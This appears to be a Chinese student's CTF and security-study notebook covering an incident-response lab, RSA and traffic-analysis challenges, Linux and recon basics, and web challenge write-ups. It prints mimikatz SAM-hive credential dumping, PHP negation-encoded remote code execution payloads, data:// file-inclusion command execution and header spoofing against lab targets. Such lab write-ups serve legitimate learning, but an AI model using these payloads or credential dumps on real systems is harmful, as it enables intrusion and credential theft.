这里先放一个虚拟机的配置,将附件解压后点击vmx文件就可以打开虚拟机了。

1

1

1

1

1

1

1

1

1

1

1

畸行的爱解压密码:
Parloo&zgsfsys&onefox&solar**juyt

1

这里有四个虚拟机win7,win10,mysql,wedserver

畸形的爱(复现)

攻击者ip地址1

先看webserver

先history命令,查看可以发现开启了docker环境,我们在升级到root,再history,和它一样开启docker

1
docker start ec87eb8a81c7 6801404902b1 192686b818fc

1

1

​ 列出所有TCP协议的网络连接及其状态

1
netstat -anplt

1

看到nginx,去看看他的日志

1

1

看到shell.php可以确定ip

1
192.168.31.240

攻击者ip地址2

这题据说有bug,都是跟着其他师傅复现的。

先看docker开始的环境,再进入有wendata的环境,有clean.sh很明显shell脚本。

1
2
docker ps
docker exec -it ec87eb8a81c7(ip) /bin/sh

1

nc的反连地址

1
192.168.31.11

暴力破解开始时间

先根据暴力破解一般是有登录,ssh等才能被破解

根据phpmyadmin最具破解力

Docker容器会把写到容器标准输出

1
docker logs phpmyadmin

1

post ;时间密集;登录界面

1
2025:03:05:58

flag1

这个flag在windows上

大佬们有everything一搜索就搜索出来了,我是到任务计划程序去看的。

1

1
palu{pc3_zgsfqwerlkssaw}

flag2

再flag所在的地方的文件里看到C:\Program Files (x86)\Microsoft\a.bat

1

1
palu{nizhidaowoyouduoainima}

flag3

这里要用Navicat

我的navicat连不上mysql数据库,这题先放这。

提交钓鱼文件的md5

钓鱼一般都是聊天

1

在回收站里去找

1

1
certutil -hashfile "C:\Users\Administrator\Desktop\简历.zip" MD5

效验md5

1
a69df5bdfef664d0a22b7d8b62c44718

提交攻击者留下的webshell-1的密码

在找ip的时候会留意到shell.php下面有个a.php

1

1
00232

提交攻击者留下的webshell-2的密码

1
find / -type f -name "*.php"

全局查找一下php文件太多了

1
find / -type f -name "shell.php"

猜一下shell.php

1

1
hack

提交攻击者开放端口

这题据说环境有问题,也放这里

提交攻击者留下的隐藏账户和密码

先用D盾查

1

在用mimikatz跑出hash

先cmd用管理员身份运行,然后输入下面两行命令

1
2
3
4
5
6
cd C:\Users\Administrator\Desktop\mimikatz_trunk\x64   进入exe所在目录
reg save hklm\sam sam.save
reg save hklm\system system.save
C:\Users\Administrator\Desktop\mimikatz_trunk\x64\mimikatz.exe 运行exe
privilege::debug
lsadump::sam /sam:sam.save /system:system.save

得到

1
2
3
RID  : 000003ea (1002)
User : system$
Hash NTLM: dbae99beb48fd9132e1cf77f4c746979

在线网站破解md5

1

要付费,解出来是wmx_love

1
wmx_love

攻击者的邮箱(溯源)

flag4(溯源)

先分析简历exe

1

得到黑客的名字n0k4u

去github上找

1

1

1

3834239649是个QQ号

1

1

我们找到了github的地址,知道了github就可以泄露出邮箱地址

直接搜通过Github用户名溯源个人邮箱可以找到参考文献链接

1
https://api.github.com/users/<name>/events/public 把name换成

1

这里没出来,感觉是不是删了还是怎么搞的别的师傅都出来了

1
n0k4u@outlook.com

到这里畸形的爱就复现完了

开始RSA的学习

RSA加密过程

1
2
3
4
5
6
p = ;q = ;(两个质数)
n = p * q
φ(n) = (p-1)*(q-1)
e = 公钥指数(与φ(n)互质)
m = 明文
c ≡ m^e (mod n)

(d * e) mod φ(n) = 1

公钥: (e, n)

私钥: (d, n)

解密过程

1
m ≡ c^d (mod n)

例题1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from Crypto.Util.number import getPrime, bytes_to_long
from random import randint
from sympy import totient
from secret import flag

def power_tower_mod(a, k, m): # a↑↑k mod m
if k == 1:
return a % m
exp = power_tower_mod(a, k - 1, totient(m))
return pow(a, int(exp), int(m))


p = getPrime(512)
q = getPrime(512)
r = 123456
n = p * q
e = 65537
n_phi= p+q-1
x=power_tower_mod(n_phi + 1, r, pow(n_phi, 3))
m = bytes_to_long(flag)
c = pow(m, e, n)

print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")
print(f"x = {x}")

'''
n = 128523866891628647198256249821889078729612915602126813095353326058434117743331117354307769466834709121615383318360553158180793808091715290853250784591576293353438657705902690576369228616974691526529115840225288717188674903706286837772359866451871219784305209267680502055721789166823585304852101129034033822731
e = 65537
c = 125986017030189249606833383146319528808010980928552142070952791820726011301355101112751401734059277025967527782109331573869703458333443026446504541008332002497683482554529670817491746530944661661838872530737844860894779846008432862757182462997411607513582892540745324152395112372620247143278397038318619295886
x = 522964948416919148730075013940176144502085141572251634384238148239059418865743755566045480035498265634350869368780682933647857349700575757065055513839460630399915983325017019073643523849095374946914449481491243177810902947558024707988938268598599450358141276922628627391081922608389234345668009502520912713141
'''
1
2
3
4
5
x = 1 + n_phi + n_phi^2
n_phi = (-1 + sqrt(4*x - 3)) // 2
n_phi = p + q - 1
φ(n) = (p-1)*(q-1) = n + n_phi
d = pow(e, -1, φ(n))

得到私钥后就可以解密了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from math import isqrt
from Crypto.Util.number import long_to_bytes

n = 128523866891628647198256249821889078729612915602126813095353326058434117743331117354307769466834709121615383318360553158180793808091715290853250784591576293353438657705902690576369228616974691526529115840225288717188674903706286837772359866451871219784305209267680502055721789166823585304852101129034033822731
e = 65537
c = 125986017030189249606833383146319528808010980928552142070952791820726011301355101112751401734059277025967527782109331573869703458333443026446504541008332002497683482554529670817491746530944661661838872530737844860894779846008432862757182462997411607513582892540745324152395112372620247143278397038318619295886
x = 522964948416919148730075013940176144502085141572251634384238148239059418865743755566045480035498265634350869368780682933647857349700575757065055513839460630399915983325017019073643523849095374946914449481491243177810902947558024707988938268598599450358141276922628627391081922608389234345668009502520912713141

# Calculate n_phi from x
temp = 4 * x - 3
root = isqrt(temp)
n_phi = (root - 1) // 2

# Calculate φ(n)
phi_n = n - n_phi

# Calculate private exponent d
d = pow(e, -1, phi_n)

# Decrypt c
m = pow(c, d, n)

# Convert to bytes
flag = long_to_bytes(m)
print(flag)

开始流量学习。记录做题为主

ssl

先过滤http

1

http追踪流

1

看到ssl.log就是key。

1

将其另存至本地。

1

1

1

导入秘钥解密。

1

多了几条http

追踪http流

1

就可以得到想要的东西。

[DDCTF2018]流量分析

这也是个ssl

1
tcp contains "KEY"

找key

1

1

1

[base64转PNG](阿图工具箱 - Base64转图片工具 - 免费在线Base64解码图片转换器)

1

[提取文字](免費在線OCR - 將PDF轉換為Word或圖像轉換為文本)将其保存为key.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQDCm6vZmclJrVH1AAyGuCuSSZ8O+mIQiOUQCvN0HYbj8153JfSQ
LsJIhbRYS7+zZ1oXvPemWQDv/u/tzegt58q4ciNmcVnq1uKiygc6QOtvT7oiSTyO
vMX/q5iE2iClYUIHZEKX3BjjNDxrYvLQzPyGD1EY2DZIO6T45FNKYC2VDwIDAQAB
AoGAbtWUKUkx37lLfRq7B5sqjZVKdpBZe4tL0jg6cX5Djd3Uhk1inR9UXVNw4/y4
QGfzYqOn8+Cq7QSoBysHOeXSiPztW2cL09ktPgSlfTQyN6ELNGuiUOYnaTWYZpp/
QbRcZ/eHBulVQLlk5M6RVs9BLI9X08RAl7EcwumiRfWas6kCQQDvqC0dxl2wIjwN
czILcoWLig2c2u71Nev9DrWjWHU8eHDuzCJWvOUAHIrkexddWEK2VHd+F13GBCOQ
ZCM4prBjAkEAz+ENahsEjBE4+7H1HdIaw0+goe/45d6A2ewO/lYH6dDZTAzTW9z9
kzV8uz+Mmo5163/JtvwYQcKF39DJGGtqZQJBAKa18XR16fQ9TFL64EQwTQ+tYBzN
+04eTWQCmH3haeQ/0Cd9XyHBUveJ42Be8/jeDcIx7dGLxZKajHbEAfBFnAsCQGq1
AnbJ4Z6opJCGu+UP2c8SC8m0bhZJDelPRC8IKE28eB6SotgP61ZqaVmQ+HLJ1/wH
/5pfc3AmEyRdfyx6zwUCQCAH4SLJv/kprRz1a1gx8FR5tj4NeHEFFNEgq1gmiwmH
2STT5qZWzQFz8NRe+/otNOHBR2Xk4e8IS+ehIJ3TvyE=
-----END RSA PRIVATE KEY-----

将key.txt导入

1

发现多出现了几条http的包

1

追踪一下http流就可以得到最终信息了

buuctf 秘密文件

1

搜素flag。

在FTP选择最总TCP流。

1

1

发现RAR,binwalk提取一下,爆破密码。

1

解压即可得到flag。

菜刀666

1
http.request.method==POST

过滤出http post的数据包

1

1

发现可疑的文件,继续看。

1

1

1
RDpcd2FtcDY0XHd3d1x1cGxvYWRcNjY2Ni5qcGc  base64 -->D:\wamp64\www\upload\6666.jpg

紧接着是FF D8发现是JPG的开头复制到010里面保存。

1

找到密码

1
Th1s_1s_p4sswd_!!!

继续往下看

1

1

发现zip头

提取放到010保存到zip,用密码解压即可得到flag

jwt

问一:

该网站使用了______认证方式

http contains “login”过滤先追踪http流

1

1

可以看到是jwt

问2:

id和username是______

先http contains “whoami”过滤,whoami(查看当前系统用户的命令)的流量包。

1

追踪命令成功的http流,过滤把tokenbase64解密

1

id : 10087 username:admin

渗透之路

身为一个网安生我感觉渗透应该是必学的,所以从现在开始我开始我的渗透之路了。

计算机基础

linux

linux命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
ls                                                           //列出当前目录中的文件和子目录
pwd //显示当前工作目录的路径
cd /path/to/directory //切换工作目录
mkdir directory_name //创建新目录
rmdir directory_name //删除空目录
rm file_name //删除文件或目录
rm -r directory_name //递归删除目录及其内容
cp source_file destination //复制文件或目录
cp -r source_directory destination //递归复制目录及其内容
mv old_name new_name //移动或重命名文件或目录
touch file_name //创建空文件或更新文件的时间戳
cat file_name //连接和显示文件内容
more/less //逐页显示文本文件内容
head/tail(head -n 10 file_name # 显示文件的前10行) //显示文件的前几行或后几行
grep search_term file_name //在文件中搜索指定文本
ps aux //显示当前运行的进程
kill process_id //终止进程
ifconfig/ip(ip addr show) //查看和配置网络接口信息
ping host_name_or_ip //测试与主机的连通性
wget/curl(wget URL/curl -O URL) //从网络下载文件
chown owner:group file_name //修改文件或目录的所有者
tar -czvf archive.tar.gz directory_name //压缩目录
tar -xzvf archive.tar.gz //解压文件
df -h //显示磁盘空间使用情
du -h directory_name //显示目录的磁盘使用情况
mount /dev/sdX1 /mnt //挂载分区到指定目录
umount /mnt //卸载挂载的文件系统
psql -U username -d database_name //连接到PostgreSQL数据库
mysql -u username -p //连接到MySQL数据库
top/htop //显示系统资源的实时使用情况和进程信息
ssh username@remote_host //远程登录到其他计算机
scp local_file remote_user@remote_host:/remote/directory //安全地将文件从本地复制到远程主机,或从远程主机复制到本地
find /path/to/search -name "file_pattern" //在文件系统中查找文件和目录
grep -r "pattern" /path/to/search //在文本中搜索匹配的行,并可以使用正则表达式进行高级搜索
sed 's/old_text/new_text/' file_name //流编辑器,用于文本处理和替换
awk '{print $1}' file_name //提取文件中的第一列数据
ssh-keygen -t rsa //生成SSH密钥对,用于身份验证远程服务器
date //显示或设置系统日期和时间
echo //将文本输出到标准输出
ln source_file link_name //创建硬链接
ln -s source_file link_name //创建符号链接
uname -a //显示系统信息
shutdown/reboot //关闭或重新启动系统
who/w //显示当前登录的用户信息
curl -X GET http://exampe.com //用于与网络资源进行交互,支持各种协议
zip archive.zip file1 file2 //压缩文件
unzip archive.zip //解压ZIP文件
chmod permissions file_name //修改文件权限
chown owner:group file_name //修改文件所有者
useradd new_user //添加用户
userdel username //删除用户
passwd //更改用户密码
crontab -e //编辑用户的定时任务
uptime //显示系统的运行时间和负载情况
hostname //显示或设置计算机的主机名
iptables -A INPUT -p tcp --dport 80 -j ACCEPT //允许HTTP流量(用于配置防火墙规则)
ufw enable //启用Uncomplicated Firewall(用于配置防火墙规则)
netstat -tuln //显示所有TCP和UDP端口
ss -tuln //使用Socket Stat查看网络连接
ps aux //显示所有进程
top //实时监视系统资源
htop //更友好的进程监视器
history //查看命令历史记录
free -m //以MB为单位显示内存使用情况
lsblk //显示块设备信息
fdisk /dev/sdX //打开磁盘分区工具
nc -vz host_name_or_ip port //测试主机的端口是否可达
stat file_or_directory //显示文件或目录的详细信息
nmcli connection show //显示网络连接信息
tailf file_name //实时追踪文件的末尾,类似于tail -f
scp local_file remote_user@remote_host:/remote/directory //从本地到远程
scp remote_user@remote_host:/remote/file local_directory //从远程到本地
rsync //用于在本地和远程系统之间同步文件和目录
例:rsync -avz source_directory/ remote_user@remote_host:/remote/directory/
dd if=input_file of=output_file bs=block_size //用于复制和转换文件
sudo //以超级用户权限运行命令

kali linux进行渗透测试

渗透测试流程
信息收集(Reconnaissance)

使用Whois查询域名信息

1
whois example.com

WHOIS 查询能获取哪些信息:

查询返回的信息会因顶级域名和注册商的不同而有所差异,但通常包含以下内容:

  1. 域名状态:ok (正常), clientHold (注册商暂停解析), serverHold (注册局暂停解析), pendingDelete (等待删除) 等。这反映了域名的当前管理状态。
  2. 注册人信息:
    • 注册人姓名/组织名称。
    • 注册人联系地址。
    • 注册人联系电话。
    • 注册人联系邮箱。
    • (重要变化) 由于隐私法规(如 GDPR),现在公开显示的注册人信息通常是注册商提供的隐私保护服务的联系信息,而不是真实的注册人信息。
  3. 管理联系人信息: 负责管理域名事宜的联系人信息(同样常受隐私保护)。
  4. 技术联系人信息: 负责处理域名技术问题(如 DNS)的联系人信息(同样常受隐私保护)。
  5. 注册商信息:
    • 注册商名称。
    • 注册商官方网站。
    • 注册商 WHOIS 服务器地址。
    • 注册商提供的支持联系方式。
  6. 重要日期:
    • 创建日期: 域名首次注册的日期。
    • 到期日期: 域名注册的有效截止日期。在此日期后未续费,域名可能会被删除并重新开放注册。
    • 更新日期: 域名信息(如联系信息或 DNS 设置)最后一次更新的日期。
  7. 域名服务器:
    • 主域名服务器地址。
    • 辅域名服务器地址。这些服务器存储了该域名对应的 DNS 记录(如 A, MX, CNAME 记录)。
  8. 授权服务器: 有时会列出提供该域名权威 WHOIS 数据的服务器地址。

使用Dig进行DNS查询

1
dig [@server] [options] [name] [type]
  • [@server] (可选): 指定要查询的 DNS 服务器的 IP 地址或主机名。如果省略,则使用系统 /etc/resolv.conf 文件中配置的 DNS 服务器。
    • 示例:dig @8.8.8.8 example.com
  • [options] (可选): 控制 dig 行为和输出的各种选项,以 + 开头。
    • 常用选项:
      • +short: 只显示最精简的答案(通常是 IP 地址或目标域名)。
      • +noall: 关闭所有输出部分(通常与 +answer 等组合使用)。
      • +answer: 只显示答案部分 (最常用!)。
      • +stats: 显示查询统计信息(耗时、大小等)。
      • +trace: 模拟 DNS 递归解析的完整过程,从根域名服务器开始追踪。
      • +nocmd: 不显示最初的命令和版本信息行。
      • +nocomments: 不显示注释行。
      • +tcp: 强制使用 TCP 协议进行查询(默认使用 UDP,在响应过大或需要区域传输时 TCP 是必需的)。
      • -x: 进行反向 DNS 查询(根据 IP 查找域名),此时 [name] 应为 IP 地址,[type] 通常省略或为 PTR
  • [name] (通常需要): 要查询的域名(如 example.com, www.google.com) 或 IP 地址(当使用 -x 时)。
  • [type] (可选): 指定要查询的 DNS 记录类型。如果省略,默认为查询 A 记录。常见类型:A, AAAA, MX, CNAME, NS, TXT, SOA, PTR, ANY(查询所有记录,但通常被服务器限制或拒绝)。
    • 示例:dig example.com MX, dig example.com NS

dig 是 DNS 领域无可争议的瑞士军刀。它通过提供详细、可控、原始的 DNS 查询响应,使你能够:

  • 精确查询任何类型的 DNS 记录。
  • 指定向任何 DNS 服务器发送查询。
  • 深入诊断各种 DNS 解析问题。
  • 验证 DNS 配置更改。
  • 理解 DNS 协议交互的底层细节。

Nmap的使用

核心功能

  1. 端口扫描
    • -sS:TCP SYN 扫描(默认,需 root)
    • -sT:TCP 全连接扫描(无需 root)
    • -sU:UDP 扫描(需 sudo)
    • -p:指定端口(-p 80,443-p- 全端口)
  2. 服务识别
    • -sV:探测服务版本
  3. 操作系统探测
    • -O:猜测目标 OS
  4. 主机发现
    • -sn:Ping 扫描(不扫端口)
  5. 脚本引擎(NSE)
    • --script=<脚本>:如 vuln(漏洞检测)、http-title(网页标题
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 基础扫描:SYN + 服务版本
sudo nmap -sS -sV target_ip

# 快速扫描:仅常用端口
nmap -F target_ip

# 全端口扫描 + OS 探测
sudo nmap -p- -O target_ip

# UDP 关键端口扫描
sudo nmap -sU -p 53,67,161 target_ip

# 漏洞检测(NSE)
sudo nmap --script=vuln target_ip

感觉这样只学理论感觉不太行,以后的边练边学。

练习

moectf2025

第一章 神秘的手镯

F12在源码中找到flag

1

第三章 问剑石!篡天改命!

F12查看源码看到flag的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<script>
async function testTalent() {
try {
const response = await fetch('/test_talent?level=B', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ manifestation: 'none' })
});

const data = await response.json();
document.getElementById('result').textContent = data.result;

// 显示/隐藏光芒效果
const glow = document.getElementById('glow');
if (data.result.includes('流云状青芒')) {
glow.style.opacity = '1';
} else {
glow.style.opacity = '0';
}

if (data.flag) {
setTimeout(() => {
alert(`✨ 天道机缘:${data.flag} ✨\n\n天赋篡天术大成!`);
}, 500);
}
} catch (error) {
alert('玄轨连接中断!请检查灵枢...');
}
}
</script>

我们可以通过在控制台发送信息来得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
fetch('/test_talent?level=S', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ manifestation: 'flowing_azure_clouds' })
})
.then(res => res.json())
.then(data => {
console.log("篡改成功!Flag为:", data.flag);
alert(`✨ 天道机缘:${data.flag} ✨`);
})
.catch(err => console.error("篡天失败:", err));

1

第十二章 玉魄玄关·破妄

用蚁剑,先右键添加数据,输入ip和端口,测试链接,再点击添加就成功了,密码是cmd

1

flag应该就藏在某个文件夹里面,反正我没找到,以后再看看。找到了在环境变量里面。

第五章 打上门来!

1
../../

../可以返回上级目录

1

[极客大挑战 2019]Http

1

用F12查看到Secret.php

访问Secret.php

1

用bp

header中添加上 Referer:https://www.Sycsecret.com

1

1

修改 User-Agent 为User-Agent: Syclover

1

1

127.0.0.1,所以我们可以利用X-Forwarded-For协议来伪造只需要在 header 添加 X-Forwarded-For:127.0.0.1,再次访问

1

NSSCTF hardrce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];//对wllm内容进行限制,过滤掉一下的特殊字符
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm)) //进行正则匹配,过滤掉大小写字母
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm); //执行wllm,说明存在远程代码执行漏洞
}
else
{
echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!

php在线运行网站

取反符号 ‘ ~ ‘

1
2
3
4
<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'ls /');?>

得到

1
2
%8C%86%8C%8B%9A%92
%93%8C%DF%D0

payload

1
?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?> NoVic4说:不错哦小伙子,可你能拿到flag吗?bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

继续

1
2
3
4
<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'cat /flllllaaaaaaggggggg');?>
1
2
%8C%86%8C%8B%9A%92
%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98

payload

1
?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?> NoVic4说:不错哦小伙子,可你能拿到flag吗?NSSCTF{47638a22-222b-4171-a5bd-890458f414a7}

第十六章 昆仑星途

1
2
3
4
5
<?php
error_reporting(0);
highlight_file(__FILE__);

include($_GET['file'] . ".php");

文件包含漏洞

使用 PHP 封装器

Wrapper 用途
php://input 读取 POST 数据,可执行代码
php://filter 数据流过滤,用于读取文件源码
php://memory / php://temp 内存数据流
data:// 数据 URI,可嵌入代码
expect:// 执行系统命令(极少见)

payload1

1
?file=data://text/plain,<?php system("ls -la /"); ?>
1
2
3
4
5
<?php
error_reporting(0);
highlight_file(__FILE__);

include($_GET['file'] . ".php"); total 68 drwxr-xr-x 1 root root 4096 Sep 4 00:52 . drwxr-xr-x 1 root root 4096 Sep 4 00:52 .. lrwxrwxrwx 1 root root 7 May 12 19:25 bin -> usr/bin drwxr-xr-x 2 root root 4096 May 12 19:25 boot drwxr-xr-x 5 root root 360 Sep 4 00:52 dev -rwxr-xr-x 1 root root 118 Aug 20 12:43 entrypoint.sh drwxr-xr-x 1 root root 4096 Sep 4 00:52 etc -rw-r--r-- 1 root root 45 Sep 4 00:52 flag-P9Mo56YCMkjhEzXSqnmPZ9sWCudQTs.txt drwxr-xr-x 2 root root 4096 May 12 19:25 home lrwxrwxrwx 1 root root 7 May 12 19:25 lib -> usr/lib lrwxrwxrwx 1 root root 9 May 12 19:25 lib64 -> usr/lib64 drwxr-xr-x 2 root root 4096 Aug 11 00:00 media drwxr-xr-x 2 root root 4096 Aug 11 00:00 mnt drwxr-xr-x 2 root root 4096 Aug 11 00:00 opt dr-xr-xr-x 441 root root 0 Sep 4 00:52 proc drwx------ 2 root root 4096 Aug 11 00:00 root drwxr-xr-x 1 root root 4096 Sep 4 00:52 run lrwxrwxrwx 1 root root 8 May 12 19:25 sbin -> usr/sbin drwxr-xr-x 2 root root 4096 Aug 11 00:00 srv dr-xr-xr-x 13 root root 0 Aug 18 11:39 sys drwxrwxrwt 1 root root 4096 Sep 4 00:52 tmp drwxr-xr-x 1 root root 4096 Aug 11 00:00 usr drwxr-xr-x 1 root root 4096 Aug 12 22:26 var .php

看到flag-P9Mo56YCMkjhEzXSqnmPZ9sWCudQTs.txt

payload

1
?file=data://text/plain,<?php system("cat /flag-P9Mo56YCMkjhEzXSqnmPZ9sWCudQTs.txt"); ?>

第四章 金曦破禁与七绝傀儡阵

1

抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET /stone_golem HTTP/1.1
Host: 127.0.0.1:61709
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

使用GET方法传递参数 key=xdsec

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET /stone_golem?key=xdsec HTTP/1.1
Host: 127.0.0.1:61709
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
1
2
flag1:bW9lY3Rme0Mw
<a href="/cloud_weaver">前往第二关:织云傀儡</a>

1

1
2
3
4
5
6
7
8
9
10
11
POST /cloud_weaver HTTP/1.1
Host: 127.0.0.1:61709
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 60

declaration=%E7%BB%87%E4%BA%91%E9%98%81%3D%E7%AC%AC%E4%B8%80
1
2
flag2: bjZyNDd1MTQ3  
<a href="/shadow_stalker">前往第三关:溯源傀儡</a>

1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GET /shadow_stalker HTTP/1.1
Host: 127.0.0.1:65093
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
X-Forwarded-For:127.0.0.1
Connection: close
1
2
flag3:MTBuNV95MHVy
<a href="/soul_discerner">前往第四关:器灵傀儡</a>

1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
GET /soul_discerner HTTP/1.1
Host: 127.0.0.1:65093
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: moe browser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
1
2
flag4:X2g3N1BfbDN2
<a href="/heart_seal">前往第五关:心印傀儡</a>

1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GET /heart_seal HTTP/1.1
Host: 127.0.0.1:65093
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=xt; role=xt; auth=1
Connection: close
1
2
flag5:M2xfMTVfcjM0
<a href="/pathfinder">前往第六关:前尘傀儡</a>

1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GET /pathfinder HTTP/1.1
Host: 127.0.0.1:65093
